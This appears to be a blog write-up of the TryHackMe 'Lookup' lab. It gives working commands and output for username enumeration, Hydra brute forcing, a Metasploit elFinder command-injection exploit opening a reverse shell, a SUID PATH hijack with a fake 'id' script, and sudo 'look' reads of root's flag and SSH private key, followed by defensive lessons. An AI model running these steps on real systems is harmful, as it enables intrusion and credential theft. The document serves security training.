Skip to main content
  1. Posts/

TryHackMe: Lookup

Table of Contents
TryHackMe - This article is part of a series.
Part : This Article

Overview
#

FieldDetails
PlatformTryHackMe
RoomLookup v1.2-badr
DifficultyEasy
OSLinux (Ubuntu 20.04)
IP10.48.187.252

Lookup is a boot-to-root machine that chains together several real-world vulnerabilities: username enumeration via differential error messages, credential brute-forcing, an elFinder RCE exploit, a SUID binary PATH hijack, and finally privilege escalation via a sudo-allowed look binary. Every step teaches something practical and transferable.


Attack Chain Summary
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Nmap scan
  └─> Port 80 → lookup.thm login page
        └─> ffuf username enumeration → admin, jose
              └─> Hydra brute force → admin:password123 / jose:password123
                    └─> Login as jose redirects to files.lookup.thm (elFinder)
                          └─> CVE-2019-9194 RCE → www-data shell
                                └─> SUID /usr/sbin/pwm + PATH hijack → think's password list
                                      └─> Hydra SSH brute force → think:josemario.AKA(think)
                                            └─> cat user.txt ✓
                                                  └─> sudo /usr/bin/look → root SSH key
                                                        └─> SSH as root → cat root.txt ✓

Step 1: Reconnaissance — Nmap Scan
#

We begin with a standard Nmap scan to identify open ports and running services.

1
nmap -sC -sV -T4 10.48.187.252

Output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 3b:33:51:db:ef:f9:1a:88:c8:68:b8:59:75:2b:1a:d0 (RSA)
|   256 c1:32:60:ed:03:ac:5b:f1:3c:7e:81:fc:f1:58:af:27 (ECDSA)
|_  256 83:19:aa:f6:db:29:a3:17:19:6e:0f:84:da:05:91:ed (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://lookup.thm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Two ports open: SSH on 22 and HTTP on 80. The web server immediately redirects to http://lookup.thm, so we add it to our hosts file before proceeding.

1
echo "10.48.187.252 lookup.thm" | sudo tee -a /etc/hosts

Step 2: Web Enumeration
#

Directory Bruteforce
#

1
gobuster dir -u http://lookup.thm -w /usr/share/wordlists/dirb/common.txt

Output:

1
index.php   (Status: 302) [Size: 0] [--> http://lookup.thm]

The root redirects to a login page at http://lookup.thm. Nothing else interesting is exposed here.


Step 3: Username Enumeration via Differential Error Messages
#

Visiting http://lookup.thm presents a login form. The first real vulnerability is subtle: the login page returns different error messages depending on whether the username exists:

  • Invalid username"Wrong username or password."
  • Valid username, wrong password"Wrong password."

We automate username discovery with ffuf, fuzzing the username field and filtering for only responses that contain "Wrong password":

1
2
3
4
5
6
ffuf -u http://lookup.thm/login.php \
     -X POST \
     -d "username=FUZZ&password=test" \
     -w /usr/share/seclists/Usernames/Names/names.txt \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -mr "Wrong password"

Output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
________________________________________________

 :: Method           : POST
 :: URL              : http://lookup.thm/login.php
 :: Wordlist         : FUZZ: /usr/share/seclists/Usernames/Names/names.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=FUZZ&password=test
 :: Follow redirects : false
 :: Matcher          : Regexp: Wrong password
________________________________________________

admin    [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 142ms]
jose     [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 141ms]

:: Progress: [10713/10713] :: Job [1/1] :: 284 req/sec :: Duration: [0:00:37]
ℹ️
Two valid usernames confirmed: admin and jose. The -mr "Wrong password" flag tells ffuf to only surface responses matching that regex — anything returning "Wrong username or password" is silently discarded, leaving only the valid accounts.

Step 4: Credential Brute Force with Hydra
#

With two confirmed usernames, we brute-force both against rockyou.txt.

Brute forcing admin
#

1
2
3
4
5
hydra -l admin \
      -P /usr/share/wordlists/rockyou.txt \
      lookup.thm \
      http-post-form "/login.php:username=^USER^&password=^PASS^:wrong password" \
      -t 30

Output:

1
2
3
4
5
[DATA] max 30 tasks per 1 server, overall 30 tasks, 14344399 login tries (l:1/p:14344399)
[DATA] attacking http-post-form://lookup.thm:80/login.php:...
[80][http-post-form] host: lookup.thm   login: admin   password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra finished at 2026-03-18 05:26:13

Brute forcing jose
#

1
2
3
4
5
hydra -l jose \
      -P /usr/share/wordlists/rockyou.txt \
      lookup.thm \
      http-post-form "/login.php:username=^USER^&password=^PASS^:wrong password" \
      -t 30

Output:

1
2
3
4
5
[DATA] max 30 tasks per 1 server, overall 30 tasks, 14344399 login tries (l:1/p:14344399)
[DATA] attacking http-post-form://lookup.thm:80/login.php:...
[80][http-post-form] host: lookup.thm   login: jose   password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra finished at 2026-03-18 04:42:56
ℹ️

Both accounts share the same weak password!

  • admin : password123
  • jose : password123

Logging in as admin leads to a generic page. Logging in as jose redirects to http://files.lookup.thm — the more interesting target.


Step 5: Discovering elFinder at files.lookup.thm
#

With two sets of credentials, we test both logins. First we try admin:

1
2
curl -s -c cookies1.txt -X POST http://lookup.thm/login.php \
  -d "username=admin&password=password123" -L | grep -i elfinder

Output: (nothing) — and checking cookies1.txt confirms no session was created:

1
2
# Netscape HTTP Cookie File
# This file was generated by libcurl! Edit at your own risk.

The admin account authenticates but is not granted access to anything useful. Now we try jose:

1
2
curl -s -c cookies.txt -X POST http://lookup.thm/login.php \
  -d "username=jose&password=password123" -L | grep -i elfinder

Output:

1
2
3
4
5
6
7
8
9
<title>elFinder</title>
<!-- Rename "main.default.js" to "main.js" and edit it ... -->
        define('elFinderConfig', {
                // elFinder options (REQUIRED)
                // https://github.com/Studio-42/elFinder/wiki/Client-configuration-options
                        // bootCalback calls at before elFinder boot up
                        'elfinder': {}
<!-- Element where elFinder will be created (REQUIRED) -->
<div id="elfinder"></div>

And cookies.txt now contains a valid session:

1
.lookup.thm     TRUE    /       FALSE   1773830169      login_status    success
ℹ️
Key difference: admin logs in but lands on a dead end with no session cookie issued. jose receives a valid login_status=success cookie and is redirected to files.lookup.thm running elFinder. Always test all discovered accounts — not just the first one that works.

Add the subdomain to /etc/hosts before proceeding:

1
echo "10.48.187.252 files.lookup.thm" | sudo tee -a /etc/hosts

Step 6: Remote Code Execution via elFinder (CVE-2019-9194)
#

elFinder versions prior to 2.1.48 are vulnerable to a command injection flaw in the PHP connector’s image rotation feature. A crafted filename containing shell metacharacters is passed unsanitised to exiftran, allowing arbitrary OS command execution.

Metasploit has a ready module for this:

1
msfconsole -q
1
2
3
4
5
use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
set RHOSTS files.lookup.thm
set LHOST tun0
set LPORT 4444
run

Output:

1
2
3
4
5
6
[*] Uploading payload 'Q2b4nYGb.jpg;echo 6370202e2e2f...' (1980 bytes)
[*] Triggering vulnerability via image rotation ...
[*] Executing payload (/elFinder/php/.VSIj6P.php) ...
[*] Sending stage (40004 bytes) to 10.48.187.252
[+] Deleted .VSIj6P.php
[*] Meterpreter session 1 opened (192.168.x.x:4444 -> 10.48.187.252:44424)

Drop into a shell and upgrade to a full TTY:

1
2
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

Confirm identity:

1
2
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

We have code execution as www-data.


Step 7: Local Enumeration as www-data
#

Checking Users on the System
#

1
cat /etc/passwd | grep -v nologin | grep -v false
1
2
3
4
root:x:0:0:root:/root:/usr/bin/bash
think:x:1000:1000:,,,:/home/think:/bin/bash
ssm-user:x:1001:1001::/home/ssm-user:/bin/sh
ubuntu:x:1002:1003:Ubuntu:/home/ubuntu:/bin/bash

The target user is think. Their home directory contains user.txt but we can’t read it as www-data.

SUID Binary Discovery
#

1
find / -perm -4000 -type f 2>/dev/null

Among the standard SUID binaries (sudo, passwd, mount, etc.), one non-standard entry stands out:

1
/usr/sbin/pwm

Analysing the pwm Binary
#

1
strings /usr/sbin/pwm

Key strings extracted:

1
2
3
4
5
6
[!] Running 'id' command to extract the username and user ID (UID)
[-] Error executing id command
uid=%*u(%[^)])
[!] ID: %s
/home/%s/.passwords
[-] File /home/%s/.passwords not found
ℹ️
Critical insight: pwm calls the id command via popen() without specifying an absolute path. It parses the output to determine the current username, then opens and prints /home/<username>/.passwords. Since pwm is SUID root, it can read any user’s .passwords file. Since it uses a relative path for id, we can substitute our own.

Step 8: PATH Hijack to Leak think’s Passwords
#

We create a fake id binary in /tmp that outputs think’s identity, prepend /tmp to $PATH, and run pwm. The SUID binary calls our fake id, parses think as the username, and dumps /home/think/.passwords — which it can read because it’s running as root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
cd /tmp

# Create a fake id binary that impersonates think
echo '#!/bin/bash' > id
echo 'echo "uid=1000(think) gid=1000(think) groups=1000(think)"' >> id
chmod +x id

# Hijack PATH so our fake id is found first
export PATH=/tmp:$PATH

# Run the SUID binary — it now reads /home/think/.passwords
/usr/sbin/pwm

Output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: think
jose1006
jose1004
jose1002
jose1001teles
jose100190
jose10001
jose0990
jose0986$
jose0981
jose0924
jose0923
jose0921
thepassword
jose(1993)
jose'sbabygurl
jose&vane
jose&samantha
jose&jlo
jose&jessica
josemario.AKA(think)
jose.medina.
jose.mar
jose.luis.24.oct
jose.line
jose.leonardo100
jose.ivan
jose.hm
jose.hater
jose.fa
jose.f
jose.dont
jose.d
jose.com
jose.chepe_06
jose.a91
jose.a
jose.96.
jose.9298
jose.2856171

We now have a full candidate password list for think.


Step 9: SSH Brute Force for think
#

Save the leaked passwords to a wordlist on Kali and brute-force SSH:

1
2
3
4
hydra -l think \
      -P /tmp/think_passwords.txt \
      ssh://10.48.187.252 \
      -t 10

Output:

1
2
3
4
[DATA] max 10 tasks per 1 server, overall 10 tasks, 49 login tries (l:1/p:49)
[22][ssh] host: 10.48.187.252   login: think   password: josemario.AKA(think)
1 of 1 target successfully completed, 1 valid password found
Hydra finished at 2026-03-18 04:53:51
ℹ️
Credentials found: think : josemario.AKA(think)

Step 10: User Flag
#

1
2
3
4
ssh think@10.48.187.252
# password: josemario.AKA(think)

cat ~/user.txt
1
[REDACTED]

🎉 User flag captured.


Step 11: Privilege Escalation — sudo + look
#

Check what think is permitted to run as root:

1
sudo -l

Output:

1
2
3
4
5
6
Matching Defaults entries for think on ip-10-48-187-252:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User think may run the following commands on ip-10-48-187-252:
    (ALL) /usr/bin/look

The look utility searches for lines in a file beginning with a given prefix string. When called with an empty string '' as the prefix, it matches every line — printing the entire file. Running it via sudo grants effective root-level read access to any file on the system.

This is a documented GTFOBins entry.

Read the Root Flag Directly
#

1
sudo /usr/bin/look '' /root/root.txt
1
[REDACTED]

Bonus: Full Root Shell via SSH Key
#

1
2
# Leak root's private SSH key
sudo /usr/bin/look '' /root/.ssh/id_rsa

Copy the full key output to your Kali machine, then SSH in as root:

1
2
chmod 600 id_rsa_root
ssh -i id_rsa_root root@10.48.187.252
1
2
3
4
5
root@ip-10-48-187-252:~# id
uid=0(root) gid=0(root) groups=0(root)

root@ip-10-48-187-252:~# cat /root/root.txt
[REDACTED]

🎉 Full root shell obtained.


Flags
#

FlagValue
User[REDACTED]
Root[REDACTED]

Lessons Learned
#

1. Username Enumeration via Differential Error Messages
#

The login page returned "Wrong password" for valid usernames and "Wrong username or password" for invalid ones — leaking account existence. Always return a single generic error like "Invalid credentials" regardless of which field failed.

2. Weak and Reused Credentials
#

Both admin and jose shared the same password — password123. This is among the most common passwords in existence and was cracked in under a minute. Strong, unique passwords per account, combined with login rate-limiting or account lockout, make brute-forcing impractical.

3. Unpatched Third-Party Software (CVE-2019-9194)
#

Running elFinder < 2.1.48 exposed the server to unauthenticated RCE via command injection in the exiftran image rotation feature. Always patch third-party software, especially internet-facing file managers.

4. SUID Binaries Must Use Absolute Paths
#

The custom pwm binary called id without an absolute path (/usr/bin/id), making it trivially exploitable via $PATH manipulation. Any SUID binary that invokes external programs must use absolute paths for every command it calls.

5. Dangerous sudo Rules
#

Granting sudo /usr/bin/look gives effective read access to every file on the filesystem. Before adding any binary to sudoers, always check GTFOBins to determine if it can be abused for file read, write, or shell escape.


Tools Used
#

ToolPurpose
nmapPort scanning & service fingerprinting
gobusterWeb directory bruteforcing
ffufUsername enumeration via HTTP POST fuzzing
hydraCredential brute forcing (HTTP-POST & SSH)
metasploitelFinder RCE exploitation (CVE-2019-9194)
stringsStatic analysis of the custom pwm SUID binary
lookArbitrary file read via sudo privilege abuse

I hope this was helpful
Posted:
Time since posted: calculating...
System.Motivation.Load()
Reply by Email
Adonijah Kiplimo
Author
Adonijah Kiplimo
Cybersecurity professional specializing in Network & Cloud Security, Digital Forensics, and Penetration Testing. Passionate about sharing knowledge and empowering others through hands-on security training.
TryHackMe - This article is part of a series.
Part : This Article

Related